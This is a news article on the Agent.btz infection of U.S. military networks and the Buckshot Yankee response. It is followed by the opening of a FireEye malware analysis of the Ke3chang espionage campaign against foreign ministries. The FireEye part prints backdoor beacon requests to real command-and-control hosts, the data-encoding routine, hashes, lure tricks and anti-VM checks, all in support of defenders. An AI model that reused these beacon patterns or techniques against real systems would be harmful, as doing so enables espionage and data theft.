Nor could they tell how long it had been there, but they soon deduced the ingeniously simple means of transmission, according to several current and former U.S. officials.
The malicious software, or malware, caught a ride on an everyday thumb drive that allowed it to enter the secret system and begin looking for documents to steal.
Then it spread by copying itself onto other thumb drives.
Pentagon officials consider the incident, discovered in October 2008, to be the most serious breach of the U.S. militarys classified computer systems.
The response, over the past three years, transformed the governments approach to cybersecurity, galvanizing the creation of a new military command charged with bolstering the militarys computer defenses and preparing for eventual offensive operations.
The efforts to neutralize the malware, through an operation code-named Buckshot Yankee, also demonstrated the importance of computer espionage in devising effective responses to cyberthreats.
But the breach and its aftermath also have opened a rare window into the legal concerns and bureaucratic tensions that affect military operations in an arena where the United States faces increasingly sophisticated threats.
Like the running debates over the use of drones and other evolving military technologies, rapid advances in computing capability are forcing complex deliberations over the appropriate use of new tools and weapons.
This article, which contains previously undisclosed information on the extent of the infection, the nature of the response and the fractious policy debate it inspired, is based on interviews with two dozen current and former U.S. officials and others with knowledge of the operation.
Many of them assert that while the military has a growing technical capacity to operate in cyberspace, it lacks authority to defend civilian networks effectively.
The danger is not so much that cyber capabilities will be used without warning by some crazy general, said Stewart A. Baker, a former NSA general counsel.
The real worry is they wont be used at all because the generals dont know what the rules are.
A furious investigation The malware that provoked Buckshot Yankee had circulated on the Internet for months without causing alarm, as just one threat among many.
Then it showed up on the military computers of a NATO government in June 2008, according to Mikko Hypponen, chief research officer of a Finnish firm that analyzed the intruder.
He dubbed it Agent.btz, the next name in a sequence used at his company, F-Secure.
Agent.bty was taken.
Four months later, in October 2008, NSA analysts discovered the malware on the Secret Internet Protocol Router Network, which the Defense and State departments use to transmit classified material but not the nations most sensitive information.
Agent.btz also infected the Joint Worldwide Intelligence Communication System, which carries top-secret information to U.S. officials throughout the world.
1/6 https://www.washingtonpost.com/national/national-security/cyber-intruder-sparks-response-debate/2011/12/06/gIQAxLuFgO_story.html http://www.washingtonpost.com/wp-dyn/content/article/2010/08/24/AR2010082406495.html http://www.washingtonpost.com/wp-dyn/content/article/2010/11/05/AR2010110507304.html?wprssrss_world http://www.washingtonpost.com/national/list-of-cyber-weapons-developed-by-pentagon-to-streamline-computer-warfare/2011/05/31/AGSublFH_story.html http://mikko.hypponen.com/ Such networks are typically air-gapped  physically separated from the free-for-all of the Internet, with its countless varieties of malicious code, such as viruses and worms, created to steal information or damage systems.
Officials had long been concerned with the unauthorized removal of classified material from secure networks now malware had gotten in and was attempting to communicate to the broader Internet.
One likely scenario is that an American soldier, official or contractor in Afghanistan  where the largest number of infections occurred  went to an Internet cafe, used a thumb drive in an infected computer and then inserted the drive in a classified machine.
We knew fairly confidently that the mechanism had been somebody going to a kiosk and doing something they shouldnt have as opposed to somebody who had been able to get inside the network, one former official said.
Once a computer became infected, any thumb drive used on the machine acquired a copy of Agent.btz, ready for propagation to other computers, like bees carrying pollen from flower to flower.
But to steal content, the malware had to communicate with a master computer for instructions on what files to remove and how to transmit them.
These signals, or beacons, were first spotted by a young analyst in the NSAs Advanced Networks Operations (ANO) team, a group of mostly 20- and 30-something computing experts assembled in 2006 to hunt for suspicious activity on the governments secure networks.
Their office was a nondescript windowless room in Ops1, a boxy, low-rise building on the 660-acre campus of the NSA.
ANOs operators are among 30,000 civilian and military personnel at NSA, whose main mission is to collect foreign communications intelligence on enemies abroad.
The agency is forbidden to gather intelligence on Americans or on U.S. soil without special authorization from a court whose proceedings are largely secret.
NSA, whose employees hold 800 PhDs in mathematics, science and engineering, is based at Fort Meade, an Army base between Baltimore and Washington that has the worlds largest collection of supercomputers as well as its own police force and silicon-chip plant.
The ANO operators determined that the breach was serious after a few days of furious investigation.
On the afternoon of Friday, Oct. 24,Richard C. Schaeffer Jr., then the NSAs top computer systems protection officer, was in an agency briefing with President George W. Bush, who was making his last visit to the NSA before leaving office.
An aide handed Schaeffer a note alerting him to the breach.
At 4:30 p.m., Schaeffer entered the office of Gen. Keith Alexander, the NSA director and a veteran military intelligence officer.
Alexander recalled that Schaeffer minced no words.
Weve got a problem, he said.
Permanent slumber That evening, NSA officials briefed top levels of the U.S. government: the chairman of the Joint Chiefs of Staff, the deputy defense secretary and senior congressional leaders, telling them about the incident.
Working through the night, the ANO operators pursued a potential fix.
Since Agent.btz was beaconing out in search of instructions, perhaps they could devise a way to order the malware to shut itself down.
The next morning, in a room strewn with empty pizza boxes and soda cans, they sketched out their plan on a white board.
But before it could be put into action, the NSA team had to make sure it would not affect the performance of other software, including the programs that battlefield commanders use for intelligence and communications.
They needed to run a test.
Our objective, recalled Schaeffer, was first, do no harm.
That afternoon, the team members loaded a computer server into a truck and drove it to a nearby office of the 2/6 http://www.afceacmd.org/flyers/Spring08Mentors.pdf Defense Information Systems Agency, which operates the departments long-haul telecommunications and satellite networks.
At 2:30 p.m. they activated a program designed to recognize the beaconing of Agent.btz and respond.
Soon after, the malware on the test server fell into permanent slumber.
Devising the technical remedy was only the first step.
Defeating the threat required neutralizing Agent.btz everywhere it had spread on government networks, a grueling process that involved isolating individual computers, taking them offline, cleaning them, and reformatting hard drives.
A key player in Buckshot Yankee was NSAs Tailored Access Operations (TAO), a secretive unit dating to the early 1990s that specialized in intelligence operations overseas focused on gathering sensitive technical information.
These specialists ventured outside the militarys networks to look for Agent.btz in a process called exploitation or electronic spying.
The TAO identified new variants of the malware and helped network defenders prepare to neutralize them before they infected military computers.
Its the ability to look outside our wire, said one military official.
Officials debated whether to use offensive tools to neutralize the malware on non-military networks, including those in other countries.
The militarys offensive cyber unit, Joint Functional Component Command  Network Warfare, proposed some options for doing so.
Senior officials rejected them on the grounds that Agent.btz appeared to be an act of espionage, not an outright attack, and didnt justify such an aggressive response, according to those familiar with the conversations.
As the NSA worked to neutralize Agent.btz on its government computers, Strategic Command, which oversees deterrence strategy for nuclear weapons, space and cyberspace, raised the militarys information security threat level.
A few weeks later, in November, an order went out banning the use of thumb drives across the Defense Department worldwide.
It was the most controversial order of the operation.
Agent.btz had spread widely among military computers around the world, especially in Iraq and Afghanistan, creating the potential for major losses of intelligence.
Yet the ban generated backlash among officers in the field, many of whom relied on the drives to download combat imagery or share after-action reports.
The NSA and the military investigated for months how the infection occurred.
They retrieved thousands of thumb drives, many of which were infected.
Much energy was spent trying to find Patient Zero, officials said.
It turned out to be too complicated, said one.
We could never bring it down to as clear as ... thats the thumb drive.
The rate of new infections finally subsided in early 2009.
Officials say no evidence emerged that Agent.btz succeeded in communicating with a master computer or in putting secret documents in enemy hands.
The ban on thumb drives has been partially lifted because other security measures have been put in place.
A great catalyst Buckshot Yankee bolstered the argument for creating Cyber Command, a new unit designed to protect the militarys computer and communications systems.
It gave NSA Director Alexander the platform to press the case, advocated by others, that the new command should be able to use the NSAs capabilities to obtain foreign intelligence to defend the militarys systems.
It was a great catalyst, said Alexander, although the effort later faced questions about whether the head of the largest and most secretive intelligence agency should also lead the new organization.
3/6 http://www.washingtonpost.com/wp-dyn/content/article/2010/09/23/AR2010092306812.html http://www.washingtonpost.com/wp-dyn/content/article/2010/01/02/AR2010010201903.html The new organization, which has a staff of 750 and a budget of 155 million, brings together the Joint Task Force- Global Network Operations, which carried out the bulk of the cleanup work under Buckshot Yankee, and the Network Warfare unit, the militarys offensive cyber arm.
It began full operations on Oct. 31, 2010, with Alexander as its head.
But the creation of Cyber Command did not resolve several key debates over the national response to cyberthreats.
Agent.btz provoked renewed discussion among senior officials at the White House and key departments about how to best protect critical private-sector networks.
Some officials argued that the military was better equipped than the Department of Homeland Security to respond to a major destructive attack on a power grid or other critical system, but others disagreed.
Cyber Command and [Strategic Command] were asking for way too much authority by seeking permission to take unilateral action ... inside the United States, said Gen. James E. Cartwright Jr., who retired as vice chairman of the Joint Chiefs in August.
Officials also debated how aggressive military commanders can be in defending their computer systems.
You have the right of self-defense, but you dont know how far you can carry it and under what circumstances, and in what places, Cartwright said.
So for a commander whos out there in a very ambiguous world looking for guidance, if somebody attacks them, are they supposed to run?
Can they respond?
Questions over the role of offense in cybersecurity deterrence began in the 1990s, if not earlier, said Martin Libicki, a Rand Corp. cyberwarfare expert.
One reason it is so difficult to craft rules, he said, is the tendency to cast cyberwar as good, old-fashioned war in yet another domain.
Unlike conventional and nuclear warfare, cyberattacks generally are enabled only by flaws in the target system, he said.
Another reason it is so difficult, said James A. Lewis, a senior fellow at the Center for Strategic and International Studies, is the overlap between cybersecurity operations and the classified world of intelligence.
The link to espionage is where the nuclear precedent breaks down and makes cyber closer to covert operations, Lewis said.
By the summer of 2009, Pentagon officials had begun work on a set of rules of engagement, part of a broader cyberdefense effort called Operation Gladiator Phoenix.
They drafted an execute order under which the Strategic and Cyber commands could direct the operations and defense of military networks anywhere in the world.
Initially, the directive applied to critical privately owned computer systems in the United States.
Several conditions had to be met, according to a military official familiar with the draft order.
The provocation had to be hostile and directed at the United States, its critical infrastructure or citizens.
It had to present the imminent likelihood of death, serious injury or damage that threatened national or economic security.
The response had to be coordinated with affected government agencies and combatant commanders.
And it had to be limited to actions necessary to stop the attack, while minimizing impacts on non-military computers.
Say someone launched an attack on the U.S. from a known Chinese army computer  a known hostile computer, the official said.
You could maybe disable the computer, but youre not talking about making it explode and killing somebody.
Turf battles But the effort to create such comprehensive rules of engagement foundered, said current and former officials with direct knowledge of the policy debate.
The Justice Department feared setting a legal precedent for military action in domestic networks.
The CIA resisted letting the military infringe on its foreign turf.
The State Department worried the military would accidentally disrupt a 4/6 http://www.stratcom.mil/factsheets/Cyber_Command/ http://www.washingtonpost.com/blogs/checkpoint-washington/post/gen-james-cartwright-who-jolted-the-system-is-honored-at-marine-barracks/2011/08/03/gIQATlegsI_blog.html http://www.rand.org/about/people/l/libicki_martin_c.html http://csis.org/expert/james-andrew-lewis server in a friendly country without seeking consent, undermining future cooperation.
The Department of Homeland Security, meanwhile, worked to keep its lead role in securing the nation against cyberthreats.
The debate bogged down over how far the military could go to parry attacks, which can be routed from server to server, sometimes in multiple countries.
Could you go only to the first [server] you trace back to?
Could you go all the way to the first point at which the attack emanated from?
Those were the questions that were still being negotiated, said a former U.S. official.
The questions were even more vexing when it came to potentially combating an attack launched from servers within the United States.
The military has no authority to act in cyberspace when the networks are domestic  unless the operation is on its own systems.
In October 2010, Pentagon officials signed an agreement with the Department of Homeland Security pledging to work to enhance the nations cybersecurity.
But in speeches, Alexander, the head of Cyber Command, has suggested that more needs to be done.
Right now, my mission as commander of U.S. Cyber Command is to defend the military networks, he said in an April speech in Rhode Island.
I do not have the authority to look at whats going on in other government sectors, nor what would happen in critical infrastructure.
That right now falls to DHS.
It also means that I cant stop it, or at network speed ... see whats happening to it.
What we do believe, though, is that that needs to be accounted for.
We have to have a way to protect our critical infrastructure.
Homeland Security Secretary Janet Napolitano, in a speech in California that same month, made her preference clear.
At DHS, we believe cyberspace is fundamentally a civilian space.
The execute order was signed in February.
The standing rules of engagement limit the military to the defense of its own networks and do not allow it to go outside them without special permission from the president.
The next vulnerability?
Almost from the beginning, U.S. officials suspected that Russias spy service created Agent.btz to steal military secrets.
In late 2008, Russia issued a denunciation of the allegation, calling it groundless and irresponsible.
Former officials say there is evidence of a Russian role in developing the malware, but some doubt whether the spy service created Agent.btz to infiltrate U.S. military computers.
Some say it could have been a product of Russias sophisticated mafia, with its extensive computer expertise, to collect all sorts of protected records worth stealing  or selling to the highest bidder.
Or there could have been Russian involvement in one phase of the malwares development before it was adapted by others.
Others say they have no doubt that it was intentionally aimed at the Defense Department.
New versions of Agent.btz continue to appear, years after it was discovered.
What is clear is that Agent.btz revealed weaknesses in crucial U.S. government computer networks vulnerabilities based on the weakest link in the security chain: human beings.
The development of new defenses did not prevent the transfer of massive amounts of information from one classified network to the anti- secrecy group WikiLeaks, an act that the government charges was carried out by an Army intelligence analyst.
NSA analysts know how to neutralize Agent.btz and its variants, but no one knows when the next vulnerability will be discovered or what kind of intrusion might ensue.
Richard Dickie George, who was the NSA information assurance technical director until his retirement this year, said that in the early days of Operation Buckshot Yankee, a four-star general asked when the danger from Agent.btz would pass and heightened security measures could end.
5/6 http://www.dhs.gov/ynews/speeches/sp_1303766068994.shtm We had to break the news to him, George recalled, that this is never going to be over.
Staff researcher Julie Tate contributed to this report.
6/6 Cyber-intruder sparks response, debate
Operation Ke3chang Targeted Attacks Against Ministries of Foreign Affairs Authors: Nart Villeneuve, James T. Bennett, Ned Moran, Thoufique Haq, Mike Scott, and Kenneth Geers FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 1 Contents Executive Summary  2 Command and Control Analysis 15 Attribution Analysis 20 Conclusion 22 About FireEye 22 FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 2 Executive Summary Diplomatic missions, including ministries of foreign affairs (MFA), are high-priority targets for todays cyber spies.
Large-scale cyber espionage campaigns such as GhostNet have demonstrated that government agencies around the world, including embassies, are vulnerable to targeted cyber attacks.1 As the crisis in Syria escalates, FireEye researchers have discovered a cyber espionage campaign, which we call Ke3chang, that falsely advertises information updates about the ongoing crisis to compromise MFA networks in Europe.
We believe that the Ke3chang attackers are operating out of China and have been active since at least 2010.
However, we believe specific Syria-themed attacks against MFAs (codenamed by Ke3chang as moviestar) began only in August 2013.
The timing of the attacks precedes a G20 meeting held in Russia that focused on the crisis in Syria.2 FireEye gained visibility into one of 23 known command-and-control (CnC) servers operated by the Ke3chang actor for about one week.
During this time, we discovered 21 compromised machines connecting to the CnC server.
These included what appear to be three administrative tests by the attackers and two connections from other malware researchers.
Among the targets, we identified nine compromises at government ministries in five different European countries.
Eight of these compromises were at MFAs.
When FireEye had visibility on the CnC server, we saw the attackers engage in post-compromise information gathering and lateral movement on the target network, where upon FireEye immediately contacted the relevant authorities and began the notification process.
The changing face of espionage Alas, poor James Bond.
The days are over when spies had to be both a black belt and Prince Charming in the same scene.
Today, the vast majority of intelligence collection is conducted through signals intelligence.
The ubiquity and vulnerability of the Internet have opened windows into the affairs of Washington, Beijing, and Moscow to a degree that Bond author, Ian Fleming, would never have imagined.
The advanced persistent threat The worldwide deployment of espionage-focused malware has made this generation the Golden Age of espionage.
Global reach, stealthy maneuvers, legal cover, and plausible deniabilitywhat more could a spy ask for?
That is why FireEye focuses on the vexing problem of the advanced persistent threat (APT).
APT activity is best described as a campaign, a series of attacks over time.
Each attack comprises a variety of phases, including reconnaissance, exploitation, command and control, lateral movement, and exfiltration.3 Intelligence can be extracted during each phase of the attack to build a full understanding of the tools, techniques, and procedures (TTPs) used by a particular APT campaigns life cycle.
However, network defenders may have only partial visibility into any single incident.
That makes tracking and correlating activity across multiple related incidents critical.
1 Information Warfare Monitor.
Tracking GhostNet: Investigating a Cyber Espionage Network.
March 2009.
The SecDev Group.
Shadows in the Cloud: An investigation into cyber espionage 2.0.
April 2010.
SecureList.
Red October Diplomatic Cyber Attacks Investigation.
January 2013.
SecureList.
The NetTraveller.
June 2013.
2 G20 Leaders Summit, St. Petersburg on September 5-6, 2013 3 Cloppert, M. Defining APT Campaigns.
June 2010.
Cloppert, M. Attacking the Cyber Kill Chain.
October 2009.
Bejtlich, R. Incident Phases of Compromise.
June 2009.
FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 3 The Ke3chang campaign The Ke3chang attackers have been active since at least 2010.
Tracking their activity over time has revealed information on their targeting preferences and the malware tools they use.
The attackers have used three types of malware over the years and have traditionally targeted the aerospace, energy, government, high-tech, consulting services, and chemicals/manufacturing/mining sectors.
However, the number of attacks against entities in these sectors has been small.
The scarcity of individual attacks may indicate the attackers are selective about their targets.
During August 2013, FireEye gained visibility on one of 22 CnC servers used at that time by the Ke3chang attackers.
In addition to confirming compromised endpoints at several MFAs, FireEye gained unique insight into the attackers lateral movement activities.
In this report, we present the historical intelligence we have gathered on the Ke3chang campaign, as well as an in-depth assessment of the ongoing Syrian-themed attacks against these MFAs.
Our objective is to arm network defenders with information to combat this threat actor.
Targeting Traditionally, the Ke3chang attackers have used spear-phishing emails with either a malware attachment or a link to a malicious download.
They have also leveraged a Java zero-day vulnerability (CVE-2012-4681), as well as older, reliable exploits for Microsoft Word (CVE-2010-3333) and Adobe PDF Reader (CVE-2010-2883).
The Ke3chang attackers have also sent Windows screensaver files (.scr) and executable files (.exe) using the Unicode Right-To-Left-Override (RTLO) technique to cloak the original filename extension from the targeted user.4 In addition to the recent Syria-themed campaign, they also used a London Olympics-themed campaign in 2012 and one that involved former model and French first lady Carla Bruni in 2011.
23 22 22 11 11 11 Aerospace/Defense/Airlines High-tech Services/Consulting/VAR Energy/Utilities/Petroleum refining Federal government Chemicals/Manufacturing/Mining Figure 1.
Percent of attacks by industry targeted by Ke3chang actor 4 Ke3chang used the Java vulnerability (CVE-2012-4681) before a patch was available.
Krebs, B. Right-to-Left Override Aids Email Attacks.
September 2011.
FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 4 Malware analysis and timeline Over the years, the Ke3chang attackers have used three types of malware that we call: BS2005, BMW, and MyWeb.
We believe these three types of malware are an evolution of a single project from a single developer or small team of developers sharing code.
Functionally, it is a typical first stage backdoor commonly found in APT attacks.
It has the ability to upload and download files, run shell commands, and sleep for a configurable length of time.
All of the CnC communications are performed over the HTTP protocol.
The current Ke3chang campaign leverages the BS2005 malware, while older activity from 2010-2011 leveraged BMW, followed by the MyWeb malware sporadically used in between.
BS2005: Oct 2011  present (most recent) BS2005 campaign: moviestar Just as the media began to report on possible U.S. military intervention in Syria, the Ke3chang attackers began to use this topic as a lure to trick their targets into running their malware.
Although attackers routinely employ breaking news as lures, the targets of this campaign, codenamed by Ke3chang as moviestar, were various ministries of foreign affairs in Europe.
The malware used in this most recent campaign is known as BS2005.
One sample was located in a ZIP file named US_military_options_in_Syria.zip (6cb633b371700d1bd6fde49ab38ca471) and contained the file US_military_options_in_Syria.pdf.exe (b68a16cef982e6451ddf26568c60833d).
This executable is a loader that contains the process debugging (PDB) string: c:\BS2005\BS2005\release\Loader.pdb Upon execution, the loader drops another executable ie.exe (277487587ae9c11d7f4bd5336275a906) that contains the following PDB string: c:\BS2005\BS2005\release\IE.pdb This executable has a compile date of 2013/07/25 and BS2005 is the most recent iteration of the backdoor.
Upon execution of ie.exe, it beacons to a CnC host, named cascais.epac.to (IP: 122.10.83.51), with the following HTTP traffic pattern: POST /p3oahin/filename.aspx?rBase64 Encoded Dataa HTTP/1.1 Accept: / Accept-Language: en-us UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 7.0 Windows NT 5.1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.30) Host: cascais.epac.to Content-Length: 4 Connection: Keep-Alive Base64 Encoded Data FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 5 Although this sample uses the /p3oahin/ path, we have observed earlier samples that used the path /ke3chang/ and /shfam9y/.
The sample we analyzed randomly chooses the filename to use in the URL from the following hard-coded list: albumtop.aspx blogvideo.aspx celebrity.aspx modules.aspx newpage.aspx pratty.aspx tieback.aspx ugctag.aspx verycd.aspx worldcat.aspx In addition, each sample contains a mark or campaign tag, embedded in the Base64 callback payload that allows the attackers to keep track of their various campaigns.
In this case, the mark in the Syria-themed iteration of this campaign was consistently the moviestar tag.
Each byte of the CnC data goes through the following transformation: The data has 0x27 plus its positional index number added to it It is then XORd with its positional index number This data is then Base64 encoded, with  characters being replaced with  characters when the data is transmitted as a parameter in the URL The Base64 data for the r parameter decodes and decrypts to the following data format: Local IP address Computer name Domain Campaign marker Date/Time Command identifier Volume serial number yes/no/nn empty line empty line FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 6 In this format, the yes/no/nn indicates whether more data is available for command output or file upload.
An nn refers to NOP/NOOP (NO OPerationa beacon signal).
Various versions of the BS2005 malware will use a different constant for the addition part of the encryption routine and contain other information, such as the following: Installed mail client Internet Explorer version Windows version Whether a proxy server is configured Whether a virtual machine was detected In addition to the Base64 data in the URI of the HTTP POST, the BS2005 malware also includes Base64 data in the body of the HTTP POST.
The Base64 data for the POST body decodes and decrypts to one of the following: no, uploaded file content, or the output from the previous command.
Figure 2.
BS2005 CnC encryption routine FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 7 Once the HTTP POST completes, the response is an HTML page with a hidden form (see Figure 3).
A particular string sequence is expected, which contains a command ID and delimited parameters.
All three malware families that FireEye analyzed (BS2005, MyWeb, and BMW) follow a similar CnC pattern in their HTTP replies.
Figure 3.
Rendered Web page retrieved by BS2005 as HTTP REPLY to HTTP POST Figure 4.
HTML retrieved by BS2005.
The highlighted portion contains the post-compromise command data returned back to the malware FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 8 At least one of the BS2005 samples contained a simple anti-virtual machine heuristic.
Specifically, the GetTickCount function is called and a loop is executed 999,999,990 times that simply increments a variable.
After this loop completes, GetTickCount is called again and the values are compared.
If they are the same, the process terminates.
A trait common to all three malware families we analyzed is that they use the IWebBrowser2 COM interface to perform their CnC communication.
This programming interface allows the programmer to reuse code from an existing browser (typically Internet Explorer) to perform Web browsing, simplifying the development process.
The network communication is actually performed through the browser process, causing some misdirection when it comes to determining which process is ultimately responsible for generating this network traffic.
This technique is nothing new for malware, but FireEye did notice something interesting in BS2005s behavior.
BS2005 attempts to kill any processes named maxthon.exe or 360se.exe.
The 360se.exe process seems to make sense, because it relates to 360 Chinese anti-virus software.
But why the malware would be programmed to terminate Maxthon, a free browser developed by a Chinese company, was initially unclear.
Upon further investigation, we found that if a Maxthon browser is open while the BS2005 malware uses this IWebBrowser2 COM interface to navigate to a Web page, the Maxthon browser opens a new tab and visibly navigates to the Web page itself.
Instead of using other APIs to make Web requests and read responses, the BS2005 developer apparently dealt with this issue by simply killing any Maxthon browser processes running on the target computer.
This lack of sophistication is present throughout the code in all three malware families (BS2005, MyWeb, and BMW).
BS2005 is actually the most complex of the three, which makes sense given that it is the most recent malware family we have seen.
Improvements in the BS2005 version of the malware include a sleep until date/time command and weak encryption for all CnC data previous iterations (MyWeb and BMW) did not encrypt the host information sent in the beacon.
BS2005 campaign: snake In 2011 a campaign, labeled snake by the attackers, started using the theme of nude photos of the French prime ministers wife, Carla Bruni, as a lure.
Attackers sent an email to various targets that encouraged recipients to download a password-protected RAR file (see Figure 5).
The malware contained within the RAR was named carla_bruni_nude_pics_spp.scr (727ef86947f5e109435298e077296a42 ).
When executed, the BS2005 malware connected to a CnC server with the following HTTP traffic pattern: Figure 5.
BS2005 snake campaign email attack vector FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 9 POST /ke3chang/Directx.aspx?rBase64 Encoded Data HTTP/1.1 Accept: / Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 5.1 Trident/4.0) Accept-Encoding: gzip, deflate Host: g20news.ns01.us Content-Length: 4 Connection: Keep-Alive Base64 Encoded Data The CnC servers hostname in this case contains the string g20news because of this, FireEye believes that the targets of the snake campaign may have been related to the G20 finance ministers meeting held in Paris, France on October 15, 2011.
BS2005 campaigns: dream/dolphin In 2012, another series of attacks began that leveraged information about the London Olympics in an attempt to lure targets into clicking on malicious attachments (see Figure 6 and Figure 7).
Based on information from the FireEye Dynamic Threat Intelligence (DTI) cloud, we observed that this campaign targeted a single firm in the Chemicals/Manufacturing/Mining sector.
These attacks leveraged older exploits in Adobe PDF Reader (CVE-2010-2883) and Microsoft Word (CVE-2010-3333).
These BS2005-laced samples (ecc1167a5f45d72c899303f9bbe44bbc and b391d47b37841741a1817221b946854a) connected to the following CnC servers: news.studenttrail.com skyline.ns1.name Figure 6.
BS2005 dream/dolphin campaign 2012 Olympic-themed decoy contentdaily competition schedule FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 10 The HTTP callback pattern to the CnCs in these cases was modified slightly from the earlier path of /ke3chang/ to /shfam9y/.
POST /shfam9y/Default.aspx?rBase64 Encoded Dataa HTTP/1.1 This could represent an attempt to avoid any network-based signatures that detect based on the specific URL path of earlier samples.
Lastly, the addition constant for the CnC encryption routine in these two BS2005 samples is 0x7C.
BS2005 campaign: newtiger Three months after the Olympics-themed attacks, FireEye observed a new BS2005 campaign labeled newtiger, which is possibly a reference to an older 2010 campaign labeled tiger.
The decoy content in this case is a threat report from a well-known security vendor (see Figure 8).
Using information from the FireEye DTI cloud, FireEye observed that this campaign targeted a single firm in the Services/Consulting sector.
Figure 7.
BS2005 dream/dolphin campaign 2012 Olympic-themed decoy content early check-in communication FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 11 The sample used in this attack (50dd931b85891168244a10073f4a6f79) dropped BS2005 malware that connected to the CnC www.trap.dsmtp.com and used the /shfam9y/ URI path.
MyWeb: Jan 2010  May 2011 The Ke3chang attackers used the older MyWeb malware family from 2010 to 2011.
The MyWeb sample that FireEye analyzed has a compile date of 1/20/2011.
At least one of the attacks in this campaign leveraged a European security and defense-themed lure, which aligns with the targeting preferences for this group.
MyWeb is the second-generation malware used by this threat actor it was used after BMW but before BS2005.
Improvements over BMW include an anti-sandbox detection technique, a configurable sleep value for the CnC beacon loop, and a consolidated configuration block that enables the malware author to change the CnC domain without having to recompile the malware.
MyWebs anti-sandbox detection technique calls GetSystemTime, saving the value, then looping 500,000 times calling GetSystemTime for each loop finally, the malware compares the milliseconds value of the last call with the value saved from the first call.
If the values are equal, the malware process terminates silently.
The MyWeb configuration is stored in a 104-byte block of encoded data appended to the end of the portable executable (PE) file.
To decode the configuration data, each character has its positional index number added to it.
The CnC domain is stored at offset 0x0.
Upon successful connection to the CnC server, the malware sleeps for the amount of time that is stored in seconds at offset 0x20.
The sleep value used for CnC connection failures is stored in minutes at offset 0x30.
Figure 8.
BS2005 newtiger campaign security-themed decoy content FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 12 MyWeb only encrypts the command results data sent back to the CnC server using the same weak encryption algorithm as BS2005 (see Figure 2).
The addition constant for the encryption routine for the sample we analyzed (be58180f4f7ee6a643ab1469a40ffbca) is 0x5A.
The beacon data is transmitted in URL parameters in plaintext and is self-explanatory: hxxp://ensun.dyndns.org/MYWEB/SearchX.ASpX?id1local IP addressid2computer nameid3volume serial numberid432 random alphabet characters Downloaded and uploaded files are simply Base64 encoded.
Command results are encrypted and then Base64 encoded.
BMW: July 2010 BMW is the earliest iteration of this malware that FireEye has seen and was used by the Ke3chang attackers in older 2010 attacks.
The initial infection vector is unknown however, BMW was presumed to be delivered via weaponized email attachments/linkssimilar to the newer campaigns leveraging MyWeb and BS2005.
The samples we analyzed have a compile date of 2010/07/08.
This malware is known as BMW, due to the presence of this PDB string: e:\DebugBmw1.0\BMW\release\Large.pdb Figure 9.
MyWeb configuration block decode routine Figure 10.
Decoded MyWeb configuration block FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 13 BMW sample (649691e1d367721f0ff899fd31133915) beacons to CnC mail.yahoo.sendsmtp.com with the following fake HTTP traffic: POST /filename.aspx?Random16 Random Alphabet Characters HTTP/1.1 Accept: text/html, application/xhtmlxml, / Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible MSIE 9.0 Windows NT 6.1 Trident/5.0) Accept-Encoding: gzip, deflate Host: mail.yahoo.sendsmtp.com Content-Length: 144 Connection: Keep-Alive Base64 Encoded Data The filename in the URI is randomly chosen from one of the following hard-coded entries within the malware binary: acheb.aspx bajree.aspx cyacrin.aspx dauber.aspx eaves.aspx The Base64 encoded data in the POST body decodes to the following: Local IP address Computer name Domain Browser version Mail client Campaign marker Date/Time ProxyEnable/ProxyDisable Y/N second parameter of last CnC response Last command executed X Bytes Volume serial number The Y/N data indicates whether the malware is running inside a virtual machine.
The X Bytes data indicates the number of bytes last downloaded from the download file command.
BMW encrypts uploaded and downloaded files and command results before Base64 encoding them, using the same weak encryption algorithm as BS2005 (see Figure 2).
The constant used for addition in the sample we analyzed is 0x5A.
FireEye, Inc.      Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs 14 Malware Family Matrix Table 1 is a complete list of all samples that were analyzed as part of this investigation, along with any known URI variances, campaign markers, and decoy or lure themes used by this threat actor.
